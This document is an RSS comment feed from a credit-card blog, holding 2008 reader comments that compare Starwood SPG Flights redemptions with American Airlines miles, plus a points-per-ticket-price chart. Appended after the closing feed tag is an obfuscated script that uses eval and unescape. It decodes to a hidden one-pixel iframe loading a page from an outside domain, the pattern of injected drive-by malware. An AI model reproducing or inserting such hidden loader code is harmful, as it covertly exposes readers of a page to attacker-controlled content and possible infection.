<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Starwood Preferred Guest Introduces SPG Flights</title>
	<atom:link href="http://www.mycardblog.com/2008/09/starwood-preferred-guest-introduces-spg-flights/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mycardblog.com/2008/09/starwood-preferred-guest-introduces-spg-flights/</link>
	<description>Bring you the best in personal finance</description>
	<lastBuildDate>Thu, 11 Mar 2010 22:30:41 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: David</title>
		<link>http://www.mycardblog.com/2008/09/starwood-preferred-guest-introduces-spg-flights/comment-page-1/#comment-8819</link>
		<dc:creator>David</dc:creator>
		<pubDate>Fri, 05 Sep 2008 17:50:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.mycardblog.com/?p=1033#comment-8819</guid>
		<description>Hi blauaugen, if you can redeem a round trip ticket to China with only 50,000 AA miles, then certainly you should transfer starpoints to AA miles. The problem is AA increased the minimum miles you need to redeem a round trip to China or other places.</description>
		<content:encoded><![CDATA[<p>Hi blauaugen, if you can redeem a round trip ticket to China with only 50,000 AA miles, then certainly you should transfer starpoints to AA miles. The problem is AA increased the minimum miles you need to redeem a round trip to China or other places.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: David</title>
		<link>http://www.mycardblog.com/2008/09/starwood-preferred-guest-introduces-spg-flights/comment-page-1/#comment-8818</link>
		<dc:creator>David</dc:creator>
		<pubDate>Fri, 05 Sep 2008 17:48:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.mycardblog.com/?p=1033#comment-8818</guid>
		<description>Hi Sander, thank you very much!</description>
		<content:encoded><![CDATA[<p>Hi Sander, thank you very much!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: sander</title>
		<link>http://www.mycardblog.com/2008/09/starwood-preferred-guest-introduces-spg-flights/comment-page-1/#comment-8817</link>
		<dc:creator>sander</dc:creator>
		<pubDate>Fri, 05 Sep 2008 15:56:15 +0000</pubDate>
		<guid isPermaLink="false">http://www.mycardblog.com/?p=1033#comment-8817</guid>
		<description>Great post! Here you might want to add the following chart: (it seems they makes it always less than 1:1.5, which is not vert great compared to hotel redemption. However, it does provide a flexible option)

Ticket Price*	Starpoints
up to $150	 10,000
$150-$215	 15,000
$215-$280	 20,000
$280-$345	 25,000
$345-$410	 30,000
$410-$475	 35,000
$475-$540	 40,000
$540-$605	 45,000
$605-$670	 50,000
$670-$735	 55,000
$735-$800	 60,000
$800-$865	 65,000
$865-$930	 70,000
$930-$995	 75,000
$995-$1060	 80,000
Higher prices (examples)
$2,880-$3,140	 235,000
$4,960-$5,220	 395,000
$9,900-$10,160	 775,000</description>
		<content:encoded><![CDATA[<p>Great post! Here you might want to add the following chart: (it seems they makes it always less than 1:1.5, which is not vert great compared to hotel redemption. However, it does provide a flexible option)</p>
<p>Ticket Price*	Starpoints<br />
up to $150	 10,000<br />
$150-$215	 15,000<br />
$215-$280	 20,000<br />
$280-$345	 25,000<br />
$345-$410	 30,000<br />
$410-$475	 35,000<br />
$475-$540	 40,000<br />
$540-$605	 45,000<br />
$605-$670	 50,000<br />
$670-$735	 55,000<br />
$735-$800	 60,000<br />
$800-$865	 65,000<br />
$865-$930	 70,000<br />
$930-$995	 75,000<br />
$995-$1060	 80,000<br />
Higher prices (examples)<br />
$2,880-$3,140	 235,000<br />
$4,960-$5,220	 395,000<br />
$9,900-$10,160	 775,000</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: blauaugen</title>
		<link>http://www.mycardblog.com/2008/09/starwood-preferred-guest-introduces-spg-flights/comment-page-1/#comment-8816</link>
		<dc:creator>blauaugen</dc:creator>
		<pubDate>Fri, 05 Sep 2008 11:23:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.mycardblog.com/?p=1033#comment-8816</guid>
		<description>A minimum of 125,000 SPG points are needed to redeem a round trip ticket to China. Compared to a mere 50,000 requirement for AA, don&#039;t you think it&#039;d be a better idea to transfer the points to your AAdvantage accounts than to redeem directly for a ticket there. This new option is kinda good for nothing, to be honest.</description>
		<content:encoded><![CDATA[<p>A minimum of 125,000 SPG points are needed to redeem a round trip ticket to China. Compared to a mere 50,000 requirement for AA, don&#8217;t you think it&#8217;d be a better idea to transfer the points to your AAdvantage accounts than to redeem directly for a ticket there. This new option is kinda good for nothing, to be honest.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>